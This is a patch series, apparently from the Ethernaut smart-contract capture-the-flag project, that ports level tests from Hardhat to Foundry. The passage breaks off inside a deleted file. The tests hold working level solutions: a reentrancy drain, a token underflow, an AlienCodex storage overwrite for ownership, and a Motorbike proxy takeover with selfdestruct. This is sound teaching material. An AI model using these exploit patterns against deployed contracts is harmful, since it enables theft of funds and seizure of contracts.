@@ out = 'out' # The output directory libs = ['lib'] # A list of library directories optimizer = true # Enable or disable the solc optimizer optimizer_runs = 1000 # The number of optimizer runs +fs_permissions = [{ access = "read", path = "./"}] # Gives permission to read files for compilation objects. +evm_version = "shanghai" # See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options diff --git a/contracts/src/attacks/ReentranceAttack.sol b/contracts/src/attacks/ReentranceAttack.sol index 32877d5b4..0313aaa42 100644 --- a/contracts/src/attacks/ReentranceAttack.sol +++ b/contracts/src/attacks/ReentranceAttack.sol @@ -1,8 +1,14 @@ // SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; -pragma solidity ^0.6.12; +// import "../levels/Reentrance.sol"; -import "../levels/Reentrance.sol"; +interface Reentrance { + function balances(address) external returns (uint256); + function donate(address) external payable; + function balanceOf(address) external returns (uint256); + function withdraw(uint256) external; +} contract ReentranceAttack { Reentrance target; diff --git a/contracts/test/levels/Instance.t.sol b/contracts/test/levels/Instance.t.sol new file mode 100644 index 000000000..4be551096 --- /dev/null +++ b/contracts/test/levels/Instance.t.sol @@ -0,0 +1,63 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {King} from "src/levels/King.sol"; +import {KingFactory} from "src/levels/KingFactory.sol"; +import {KingAttack} from "src/attacks/KingAttack.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +contract TestKing is Test, Utils { + Ethernaut ethernaut; + King instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + KingFactory factory = new KingFactory(); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = King(payable(createLevelInstance(ethernaut, Level(address(factory)), 0.001 ether))); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.startPrank(player); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.startPrank(player); + + KingAttack attacker = new KingAttack(); + attacker.doYourThing{value: 2.01 ether}(address(instance)); + + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } +} diff --git a/contracts/test/levels/Motorbike.t.sol b/contracts/test/levels/Motorbike.t.sol new file mode 100644 index 000000000..c17d96b2c --- /dev/null +++ b/contracts/test/levels/Motorbike.t.sol @@ -0,0 +1,72 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {DummyFactory} from "src/levels/DummyFactory.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +interface Engine { + function initialize() external; + function upgradeToAndCall(address, bytes memory) external payable; +} + +contract TestMotorbike is Test, Utils { + Ethernaut ethernaut; + address payable instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + DummyFactory factory = DummyFactory(getOldFactory("MotorbikeFactory")); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = payable(createLevelInstance(ethernaut, Level(address(factory)), 0)); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.startPrank(player); + assertFalse(submitLevelInstance(ethernaut, instance)); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.startPrank(player); + + address engine = address( + uint160(uint256(vm.load(instance, hex"360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc"))) + ); + Engine(engine).initialize(); + Engine(engine).upgradeToAndCall(address(this), abi.encodeWithSignature("done()")); + assertTrue(submitLevelInstance(ethernaut, instance)); + } + + function done() public { + selfdestruct(payable(address(0))); + } +} diff --git a/contracts/test/levels/Motorbike.test.js b/contracts/test/levels/Motorbike.test.js deleted file mode 100644 index 6117eec86..000000000 --- a/contracts/test/levels/Motorbike.test.js +++ /dev/null @@ -1,78 +0,0 @@ -const Motorbike = artifacts.require('./levels/Motorbike.sol'); -const MotorbikeFactory = artifacts.require('./levels/MotorbikeFactory.sol'); -const MotorbikeAttack = artifacts.require('./attacks/MotorbikeAttack.sol'); - -const Ethernaut = artifacts.require('./Ethernaut.sol'); -const { - BN, - constants, - expectEvent, - expectRevert, -} = require('openzeppelin-test-helpers'); -const utils = require('../utils/TestUtils'); -const { ethers, upgrades } = require('hardhat'); - -contract('Motorbike', function (accounts) { - let ethernaut; - let level; - let owner = accounts[1]; - let player = accounts[0]; - let statproxy; - - before(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await MotorbikeFactory.new(); - await ethernaut.registerLevel(level.address); - }); - - it('should fail if the player did not solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - Motorbike - ); - - const completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - - assert.isFalse(completed); - }); - - it('should allow the player to solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - Motorbike - ); - - const address = await web3.eth.getStorageAt( - instance.address, - '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc' - ); - let string = '0x' + JSON.stringify(address).substr(27, 40); - string = web3.utils.toChecksumAddress(string); - - const attacker = await MotorbikeAttack.new(string); - - // ATTACK FIRST STEP: Take control over upgradeability functionality - await attacker.takeControl(); - - // ATTACK SECOND STEP: Destroy the implementation - await attacker.destroy(); - - const completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - - assert.isTrue(completed); - }); -}); diff --git a/contracts/test/levels/Reentrance.t.sol b/contracts/test/levels/Reentrance.t.sol new file mode 100644 index 000000000..daf0d8068 --- /dev/null +++ b/contracts/test/levels/Reentrance.t.sol @@ -0,0 +1,63 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {DummyFactory} from "src/levels/DummyFactory.sol"; +import {ReentranceAttack, Reentrance} from "src/attacks/ReentranceAttack.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +contract TestReentrance is Test, Utils { + Ethernaut ethernaut; + Reentrance instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + DummyFactory factory = DummyFactory(getOldFactory("ReentranceFactory")); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = Reentrance(payable(createLevelInstance(ethernaut, Level(address(factory)), 0.001 ether))); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.startPrank(player); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.startPrank(player); + + ReentranceAttack attacker = new ReentranceAttack{value: player.balance}(payable(address(instance))); + attacker.attack_1_causeOverflow(); + attacker.attack_2_deplete(); + + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } +} diff --git a/contracts/test/levels/Reentrance.test.js b/contracts/test/levels/Reentrance.test.js deleted file mode 100644 index 6cb54e3a6..000000000 --- a/contracts/test/levels/Reentrance.test.js +++ /dev/null @@ -1,81 +0,0 @@ -const Reentrance = artifacts.require('./levels/Reentrance.sol'); -const ReentranceFactory = artifacts.require('./levels/ReentranceFactory.sol'); -const ReentranceAttack = artifacts.require('./attacks/ReentranceAttack.sol'); - -const Ethernaut = artifacts.require('./Ethernaut.sol'); -const { - BN, - constants, - expectEvent, - expectRevert, -} = require('openzeppelin-test-helpers'); -const utils = require('../utils/TestUtils'); -const { ethers, upgrades } = require('hardhat'); - -contract('Reentrance', function (accounts) { - let ethernaut; - let level; - let owner = accounts[1]; - let player = accounts[0]; - let statproxy; - - before(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await ReentranceFactory.new(); - await ethernaut.registerLevel(level.address); - }); - - it('should allow the player to solve the level', async function () { - const insertCoin = web3.utils.fromWei( - (await level.insertCoin.call()).toString(), - 'ether' - ); - //console.log(`level insertCoin:`, insertCoin) - - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - Reentrance, - { from: player, value: web3.utils.toWei(insertCoin, 'ether') } - ); - - // Query contract balance (should be 0.1) - let instanceBalance = await utils.getBalance(web3, instance.address); - //console.log(`init instance balance:`, instanceBalance) - assert.equal(instanceBalance, insertCoin); - - // Deploy attacker contract - const attackerFunds = 0.01; - const attacker = await ReentranceAttack.new(instance.address, { - value: web3.utils.toWei(attackerFunds.toString(), 'ether'), - }); - - // Check attacker balance - let attackerBalance = await utils.getBalance(web3, attacker.address); - //console.log(`init attacker balance:`, attackerBalance) - assert.equal(attackerBalance, attackerFunds); - - // '(◣_◢)' - await attacker.attack_1_causeOverflow(); - attackerBalance = await utils.getBalance(web3, attacker.address); - //console.log(`post attacker balance 1:`, attackerBalance) - await attacker.attack_2_deplete(); - attackerBalance = await utils.getBalance(web3, attacker.address); - //console.log(`post attacker balance 2:`, attackerBalance) - - // Query balance - instanceBalance = await utils.getBalance(web3, instance.address); - //console.log(`post instance balance:`, instanceBalance) - assert.equal(instanceBalance, 0); - - // Factory check - const ethCompleted = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - assert.equal(ethCompleted, true); - }); -}); diff --git a/contracts/test/levels/Token.t.sol b/contracts/test/levels/Token.t.sol index d91a39800..b1985bf4b 100644 --- a/contracts/test/levels/Token.t.sol +++ b/contracts/test/levels/Token.t.sol @@ -1,18 +1,20 @@ // SPDX-License-Identifier: MIT -pragma solidity >=0.6.0; -pragma experimental ABIEncoderV2; +pragma solidity ^0.8.0; import "forge-std/Test.sol"; import {Utils} from "test/utils/Utils.sol"; -// import {Token} from "src/levels/Token.sol"; -// import {TokenFactory} from "src/levels/TokenFactory.sol"; -// import {Level} from "src/levels/base/Level-06.sol"; -// import {Ethernaut} from "src/Ethernaut.sol"; +import {DummyFactory} from "src/levels/DummyFactory.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +interface Token { + function transfer(address, uint256) external returns (bool); +} contract TestToken is Test, Utils { - // Ethernaut ethernaut; - // Token instance; + Ethernaut ethernaut; + Token instance; address payable owner; address payable player; @@ -21,42 +23,42 @@ contract TestToken is Test, Utils { HELPERS //////////////////////////////////////////////////////////////*/ - // function setUp() public { - // address payable[] memory users = createUsers(2); + function setUp() public { + address payable[] memory users = createUsers(2); - // owner = users[0]; - // vm.label(owner, "Owner"); + owner = users[0]; + vm.label(owner, "Owner"); - // player = users[1]; - // vm.label(player, "Player"); + player = users[1]; + vm.label(player, "Player"); - // vm.startPrank(owner); - // ethernaut = getEthernautWithStatsProxy(owner); - // TokenFactory factory = new TokenFactory(); - // ethernaut.registerLevel(Level(address(factory))); - // vm.stopPrank(); + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + DummyFactory factory = DummyFactory(getOldFactory("TokenFactory")); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); - // vm.startPrank(player); - // instance = Token(payable(createLevelInstance(ethernaut, Level(address(factory)), 0.001 ether))); - // vm.stopPrank(); - // } + vm.startPrank(player); + instance = Token(payable(createLevelInstance(ethernaut, Level(address(factory)), 0))); + vm.stopPrank(); + } - // /*////////////////////////////////////////////////////////////// - // TESTS - // //////////////////////////////////////////////////////////////*/ + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ - // /// @notice Check the intial state of the level and enviroment. - // function testInit() public { - // vm.startPrank(player); - // assertFalse(submitLevelInstance(ethernaut, address(instance))); - // } + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.startPrank(player); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } - // /// @notice Test the solution for the level. - // function testSolve() public { - // vm.startPrank(player); + /// @notice Test the solution for the level. + function testSolve() public { + vm.startPrank(player); - // level.transfer(address(instance), 21); + instance.transfer(address(instance), 21); - // assertTrue(submitLevelInstance(ethernaut, address(instance))); - // } + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } } diff --git a/contracts/test/levels/Token.test.js b/contracts/test/levels/Token.test.js deleted file mode 100644 index eb4d08f47..000000000 --- a/contracts/test/levels/Token.test.js +++ /dev/null @@ -1,64 +0,0 @@ -const Ethernaut = artifacts.require('./Ethernaut.sol'); - -const TokenFactory = artifacts.require('./levels/TokenFactory.sol'); -const Token = artifacts.require('./levels/Token.sol'); -const { - BN, - constants, - expectEvent, - expectRevert, -} = require('openzeppelin-test-helpers'); -const utils = require('../utils/TestUtils'); -const { ethers, upgrades } = require('hardhat'); - -contract('Token', function (accounts) { - let ethernaut; - let level; - let owner = accounts[1]; - let player = accounts[0]; - let statproxy; - - before(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await TokenFactory.new(); - await ethernaut.registerLevel(level.address); - }); - - it('should allow the player to solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - Token - ); - - // Check init balances - let balance = new BN(await instance.balanceOf(player)); - //console.log(`init player balance: ${balance}`) - assert.equal(balance, 20); - const supply = new BN(await instance.totalSupply.call()); - //console.log(`token supply: ${supply}`) - assert.equal(supply, 21000000); - - // Check transfer - await instance.transfer(accounts[2], 1, { from: player }); - balance = await instance.balanceOf(player); - //console.log(`player balance: ${balance}`) - assert.equal(balance, 19); - - // Overflow - await instance.transfer(accounts[2], 20, { from: player }); - balance = await instance.balanceOf(player); - //console.log(`player balance: ${balance}`) - assert.equal(balance, 1.157920892373162e77); - - // Check win. - const ethCompleted = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - assert.equal(ethCompleted, true); - }); -}); diff --git a/contracts/test/utils/TestUtils.js b/contracts/test/utils/TestUtils.js deleted file mode 100644 index ad0fb881f..000000000 --- a/contracts/test/utils/TestUtils.js +++ /dev/null @@ -1,89 +0,0 @@ -const Ethernaut = artifacts.require('./Ethernaut.sol'); -const { ethers, upgrades } = require('hardhat'); - -exports.getBalance = (web3, address) => { - return new Promise(function (resolve, reject) { - web3.eth.getBalance(address, function (error, result) { - if (error) reject(error); - else resolve(web3.utils.fromWei(result.toString(), 'ether')); - }); - }); -}; - -exports.skipBlocks = (numBlocks, web3) => { - return new Promise(async (resolve) => { - for (let i = 0; i < numBlocks; i++) { - await skipBlock(web3); - } - resolve(); - }); -}; - -exports.skipBlock = (web3) => { - return new Promise((resolve, reject) => { - web3.currentProvider.sendAsync( - { - jsonrpc: '2.0', - method: 'evm_mine', - }, - (error, result) => { - if (error) reject(); - else resolve(result); - } - ); - }); -}; - -exports.createLevelInstance = async ( - ethernaut, - levelAddress, - player, - levelInstanceClass, - params -) => { - return new Promise(async function (resolve, reject) { - const data = params || { from: player }; - const tx = await ethernaut.createLevelInstance(levelAddress, data); - if (tx.logs.length === 0) reject(); - else { - const events = tx.logs.filter( - (e) => e.event === 'LevelInstanceCreatedLog' - ); - const instanceAddress = events[0].args.instance; - const instance = await levelInstanceClass.at(instanceAddress); - resolve(instance); - } - }); -}; - -exports.submitLevelInstance = async ( - ethernaut, - levelAddress, - instanceAddress, - player, - params -) => { - return new Promise(async function (resolve) { - const data = params || { from: player }; - const tx = await ethernaut.submitLevelInstance(instanceAddress, data); - if (tx.logs.length === 0) resolve(false); - else { - const events = tx.logs.filter((e) => e.event === 'LevelCompletedLog'); - const ethLevelAddress = events[0].args.level; - const ethPlayer = events[0].args.player; - if (player === ethPlayer && levelAddress === ethLevelAddress) { - resolve(true); - } else resolve(false); - } - }); -}; - -exports.getEthernautWithStatsProxy = async () => { - const ethernaut = await Ethernaut.new(); - const implementation = await ethers.getContractFactory('Statistics'); - const ProxyStats = await upgrades.deployProxy(implementation, [ - ethernaut.address, - ]); - await ethernaut.setStatistics(ProxyStats.address); - return ethernaut; -}; diff --git a/contracts/test/utils/Utils.sol b/contracts/test/utils/Utils.sol index a5c5ce1d2..a9145b924 100644 --- a/contracts/test/utils/Utils.sol +++ b/contracts/test/utils/Utils.sol @@ -2,6 +2,7 @@ pragma solidity ^0.8.0; import "forge-std/Test.sol"; +import "forge-std/StdJson.sol"; import {Ethernaut} from "src/Ethernaut.sol"; import {Statistics} from "src/metrics/Statistics.sol"; @@ -9,6 +10,8 @@ import {ProxyStats} from "src/proxy/ProxyStats.sol"; import {Level} from "src/levels/base/Level.sol"; contract Utils is Test { + using stdJson for string; + bytes32 internal nextUser = keccak256(abi.encodePacked("user address")); function getNextUserAddress() external returns (address payable) { @@ -61,4 +64,16 @@ contract Utils is Test { ethernaut.setStatistics(address(stats)); return ethernaut; } + + function getOldFactory(string memory contractName) public returns (address addr) { + string memory root = vm.projectRoot(); + string memory path = + string.concat(root, string(abi.encodePacked("/out/", contractName, ".sol/", contractName, ".json"))); + string memory json = vm.readFile(path); + bytes memory code = json.readBytes(".bytecode.object"); + + assembly { + addr := create(0, add(code, 0x20), mload(code)) + } + } } From 2b68cbad11e853ea35a7bfc57664084832747dc0 Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Thu, 21 Mar 2024 14:25:26 -0500 Subject: [PATCH 14/35] =?UTF-8?q?=F0=9F=94=A5=20remove=20hardhat=20contrac?= =?UTF-8?q?ts?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- contracts/script/Counter.s.sol | 12 - contracts/test/levels/AlienCodex.t.sol | 77 ++ contracts/test/levels/AlienCodex.test.js | 62 -- contracts/test/levels/Fallout.t.sol | 64 ++ contracts/test/levels/Fallout.test.js | 51 -- contracts/test/levels/GatekeeperThree.t.sol | 64 ++ contracts/test/levels/GatekeeperThree.test.js | 50 -- contracts/test/levels/Instance.t.sol | 18 +- contracts/test/levels/Instance.test.js | 50 -- contracts_hardhat/hardhat.config.js | 48 -- contracts_hardhat/out/Ethernaut_flat.sol | 235 ------ contracts_hardhat/out/ProxyStats_flat.sol | 793 ------------------ contracts_hardhat/out/Statistics_flat.sol | 495 ----------- contracts_hardhat/package.json | 44 - 14 files changed, 214 insertions(+), 1849 deletions(-) delete mode 100644 contracts/script/Counter.s.sol create mode 100644 contracts/test/levels/AlienCodex.t.sol delete mode 100644 contracts/test/levels/AlienCodex.test.js create mode 100644 contracts/test/levels/Fallout.t.sol delete mode 100644 contracts/test/levels/Fallout.test.js create mode 100644 contracts/test/levels/GatekeeperThree.t.sol delete mode 100644 contracts/test/levels/GatekeeperThree.test.js delete mode 100644 contracts/test/levels/Instance.test.js delete mode 100644 contracts_hardhat/hardhat.config.js delete mode 100644 contracts_hardhat/out/Ethernaut_flat.sol delete mode 100644 contracts_hardhat/out/ProxyStats_flat.sol delete mode 100644 contracts_hardhat/out/Statistics_flat.sol delete mode 100644 contracts_hardhat/package.json diff --git a/contracts/script/Counter.s.sol b/contracts/script/Counter.s.sol deleted file mode 100644 index df9ee8b02..000000000 --- a/contracts/script/Counter.s.sol +++ /dev/null @@ -1,12 +0,0 @@ -// SPDX-License-Identifier: UNLICENSED -pragma solidity ^0.8.13; - -import {Script, console} from "forge-std/Script.sol"; - -contract CounterScript is Script { - function setUp() public {} - - function run() public { - vm.broadcast(); - } -} diff --git a/contracts/test/levels/AlienCodex.t.sol b/contracts/test/levels/AlienCodex.t.sol new file mode 100644 index 000000000..b53e09f6a --- /dev/null +++ b/contracts/test/levels/AlienCodex.t.sol @@ -0,0 +1,77 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {DummyFactory} from "src/levels/DummyFactory.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +interface AlienCodex { + function makeContact() external; + function record(bytes32) external; + function retract() external; + function revise(uint256, bytes32) external; +} + +contract AlienCodexExploit { + function exploit(address instanceAddress) public { + AlienCodex instance = AlienCodex(instanceAddress); + instance.makeContact(); + instance.retract(); + uint256 codexZeroIndex = uint256(keccak256(abi.encode(1))); + instance.revise(type(uint256).max - codexZeroIndex + 1, bytes32(uint256(uint160(tx.origin)))); + } +} + +contract TestAlienCodex is Test, Utils { + Ethernaut ethernaut; + AlienCodex instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + DummyFactory factory = DummyFactory(getOldFactory("AlienCodexFactory")); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = AlienCodex(payable(createLevelInstance(ethernaut, Level(address(factory)), 0))); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.startPrank(player); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.startPrank(player, player); + + new AlienCodexExploit().exploit(address(instance)); + + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } +} diff --git a/contracts/test/levels/AlienCodex.test.js b/contracts/test/levels/AlienCodex.test.js deleted file mode 100644 index e2ea76311..000000000 --- a/contracts/test/levels/AlienCodex.test.js +++ /dev/null @@ -1,62 +0,0 @@ -const AlienCodex = artifacts.require('./levels/AlienCodex.sol'); -const AlienCodexFactory = artifacts.require('./levels/AlienCodexFactory.sol'); - -const Ethernaut = artifacts.require('./Ethernaut.sol'); -const utils = require('../utils/TestUtils'); -const { ethers, upgrades } = require('hardhat'); - -contract('AlienCodex', function (accounts) { - let ethernaut; - let level; - let instance; - let owner = accounts[1]; - let player = accounts[0]; - let statproxy; - - before(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await AlienCodexFactory.new(); - await ethernaut.registerLevel(level.address); - instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - AlienCodex, - { from: player } - ); - }); - - describe('instance', function () { - it('should not be immediately solvable', async function () { - // Player is not owner yet - assert.notEqual(player, owner); - - // Player hasn't made first contact yet - let status = await instance.contact.call(); - assert.isFalse(status); - }); - - it('should allow the user to join AlienCodex', async function () { - await instance.makeContact(); - - // Player should have successfully made first contact - let status = await instance.contact.call(); - assert.isTrue(status); - }); - - it('codex array should underflow, giving user all storage access to become owner', async function () { - await instance.retract(); - - const owner_loc = - '0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a'; // location of owner ptr, offset by array's frame of reference - const padding = '0x000000000000000000000000'; - let _data = padding + player.substr(2); - - await instance.revise(owner_loc, _data, { from: player }); - - // Player should own the instance now - let ownr = await instance.owner(); - assert.equal(ownr, player); - }); - }); -}); diff --git a/contracts/test/levels/Fallout.t.sol b/contracts/test/levels/Fallout.t.sol new file mode 100644 index 000000000..8fb068830 --- /dev/null +++ b/contracts/test/levels/Fallout.t.sol @@ -0,0 +1,64 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {DummyFactory} from "src/levels/DummyFactory.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +interface Fallout { + function Fal1out() external; +} + +contract TestFallout is Test, Utils { + Ethernaut ethernaut; + Fallout instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + DummyFactory factory = DummyFactory(getOldFactory("FalloutFactory")); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = Fallout(payable(createLevelInstance(ethernaut, Level(address(factory)), 0))); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.startPrank(player); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.startPrank(player); + + instance.Fal1out(); + + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } +} diff --git a/contracts/test/levels/Fallout.test.js b/contracts/test/levels/Fallout.test.js deleted file mode 100644 index b4d94d6da..000000000 --- a/contracts/test/levels/Fallout.test.js +++ /dev/null @@ -1,51 +0,0 @@ -const FalloutFactory = artifacts.require('./levels/FalloutFactory.sol'); -const Fallout = artifacts.require('./attacks/Fallout.sol'); - -const Ethernaut = artifacts.require('./Ethernaut.sol'); -const { - BN, - constants, - expectEvent, - expectRevert, -} = require('openzeppelin-test-helpers'); -const utils = require('../utils/TestUtils'); -const { ethers, upgrades } = require('hardhat'); - -contract('Fallout', function (accounts) { - let ethernaut; - let level; - let owner = accounts[1]; - let player = accounts[0]; - let statproxy; - - beforeEach(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await FalloutFactory.new(); - await ethernaut.registerLevel(level.address); - //console.log(ethernaut.address, level.address) - }); - - it('should allow the player to solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - Fallout, - { from: player } - ); - - assert.equal(await instance.owner(), 0x0); - - await instance.Fal1out(); - assert.equal(await instance.owner(), player); - - // Factory check - const ethCompleted = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - assert.equal(ethCompleted, true); - }); -}); diff --git a/contracts/test/levels/GatekeeperThree.t.sol b/contracts/test/levels/GatekeeperThree.t.sol new file mode 100644 index 000000000..49c80d622 --- /dev/null +++ b/contracts/test/levels/GatekeeperThree.t.sol @@ -0,0 +1,64 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {GatekeeperThree} from "src/levels/GatekeeperThree.sol"; +import {GatekeeperThreeFactory} from "src/levels/GatekeeperThreeFactory.sol"; +import {GatekeeperThreeAttack} from "src/attacks/GatekeeperThreeAttack.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +contract TestGatekeeperThree is Test, Utils { + Ethernaut ethernaut; + GatekeeperThree instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + GatekeeperThreeFactory factory = new GatekeeperThreeFactory(); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = GatekeeperThree(payable(createLevelInstance(ethernaut, Level(address(factory)), 0))); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.startPrank(player); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.startPrank(player, player); + + GatekeeperThreeAttack attacker = + new GatekeeperThreeAttack{value: 120000000000000000}(payable(address(instance))); + attacker.attack(); + + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } +} diff --git a/contracts/test/levels/GatekeeperThree.test.js b/contracts/test/levels/GatekeeperThree.test.js deleted file mode 100644 index 135378bfd..000000000 --- a/contracts/test/levels/GatekeeperThree.test.js +++ /dev/null @@ -1,50 +0,0 @@ -const GatekeeperThreeFactory = artifacts.require('./levels/GatekeeperThreeFactory.sol') -const GatekeeperThree = artifacts.require('./levels/GatekeeperThree.sol') -const GatekeeperThreeAttack = artifacts.require('./attacks/GatekeeperThreeAttack.sol') - -const utils = require('../utils/TestUtils'); - -contract('GatekeeperThree', function(accounts) { - - let ethernaut - let level - let player = accounts[0] - - before(async function() { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await GatekeeperThreeFactory.new() - await ethernaut.registerLevel(level.address) - }); - - it("should fail if the player didn't solve the level", async function() { - const instance = await utils.createLevelInstance(ethernaut, level.address, player, GatekeeperThree) - const completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ) - - assert.isFalse(completed) - }); - - it('should allow the player to 